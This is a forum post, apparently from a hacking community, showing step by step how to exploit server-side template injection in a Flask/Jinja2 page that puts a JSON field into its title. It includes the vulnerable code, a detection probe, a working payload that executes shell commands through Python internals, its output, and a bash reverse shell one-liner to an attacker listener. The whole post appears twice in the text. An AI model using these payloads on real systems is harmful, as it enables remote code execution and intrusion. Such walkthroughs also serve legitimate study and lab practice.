09-13-2022, 01:04 AM
SSTI using Python REPL in a Jinja2 template engine using JSON as a request method to fetch the website title. Starting of with a source code snippet:
def getsiteurl(config):
if config and "siteurl" in config:
return config["siteurl"]
else:
return "website"
@app.route("/", methods=['GET', 'POST'])
def index_page():
config = request.json
template = f'''
<html>
<head>
<title>{getsiteurl(config)} - Coming Soon</title>
</head>
<body style="background-image: url('{url_for('static', filename='spk-3006650_1280.webp')}');background-size: 100%;background-repeat: no-repeat;">
</body>
</html>
'''
return render_template_string(template)
Notice that getsiteurl is calling config (request.json) to set the HTML title. To test for SSTI starting of with a simple SSTI payload {{7*7}}:
>>> import requests
>>> resp = requests.post('https://$IP/', json={"siteurl": "{{7*7}}"})
>>> print(resp.text)
<html>
<head>
<title>49 - Coming Soon</title>
</head>
</html>
Notice in the title, "49" which indicates this website is vulnerable. You can search for any Jinja2 SSTI payload but setting the payload to show the id of the user as a poc.
>>> payload = '''{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen('id').read()}}{%endif%}{%endfor%}'''
>>> resp = requests.post('https://$IP/', json={"siteurl": payload})
>>> print(resp.text)
<html>
<head>
<title>uid=33(www-data) gid=33(www-data) groups=33(www-data)
- Coming Soon</title>
</head>
</html>
Great RCE, setting the id parameter to a simple reverse shell one liner: bash -c "bash -i >& /dev/tcp/$IP/1337 0>&1", assuming there is no WAF blocking some outbound traffic having netcat listening on port 1337 and triggering the payload again with:
>>> resp = requests.post('http://10.10.11.131/', json={"siteurl": payload}); print(resp.text)
You got yourself a reverse shell. Main reason for this is to show how to use Python REPL for ex SSTI.
-Greyhound
def getsiteurl(config):
if config and "siteurl" in config:
return config["siteurl"]
else:
return "website"
@app.route("/", methods=['GET', 'POST'])
def index_page():
config = request.json
template = f'''
<html>
<head>
<title>{getsiteurl(config)} - Coming Soon</title>
</head>
<body style="background-image: url('{url_for('static', filename='spk-3006650_1280.webp')}');background-size: 100%;background-repeat: no-repeat;">
</body>
</html>
'''
return render_template_string(template)
Notice that getsiteurl is calling config (request.json) to set the HTML title. To test for SSTI starting of with a simple SSTI payload {{7*7}}:
>>> import requests
>>> resp = requests.post('https://$IP/', json={"siteurl": "{{7*7}}"})
>>> print(resp.text)
<html>
<head>
<title>49 - Coming Soon</title>
</head>
</html>
Notice in the title, "49" which indicates this website is vulnerable. You can search for any Jinja2 SSTI payload but setting the payload to show the id of the user as a poc.
>>> payload = '''{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen('id').read()}}{%endif%}{%endfor%}'''
>>> resp = requests.post('https://$IP/', json={"siteurl": payload})
>>> print(resp.text)
<html>
<head>
<title>uid=33(www-data) gid=33(www-data) groups=33(www-data)
- Coming Soon</title>
</head>
</html>
Great RCE, setting the id parameter to a simple reverse shell one liner: bash -c "bash -i >& /dev/tcp/$IP/1337 0>&1", assuming there is no WAF blocking some outbound traffic having netcat listening on port 1337 and triggering the payload again with:
>>> resp = requests.post('http://10.10.11.131/', json={"siteurl": payload}); print(resp.text)
You got yourself a reverse shell. Main reason for this is to show how to use Python REPL for ex SSTI.
-Greyhound
just some guy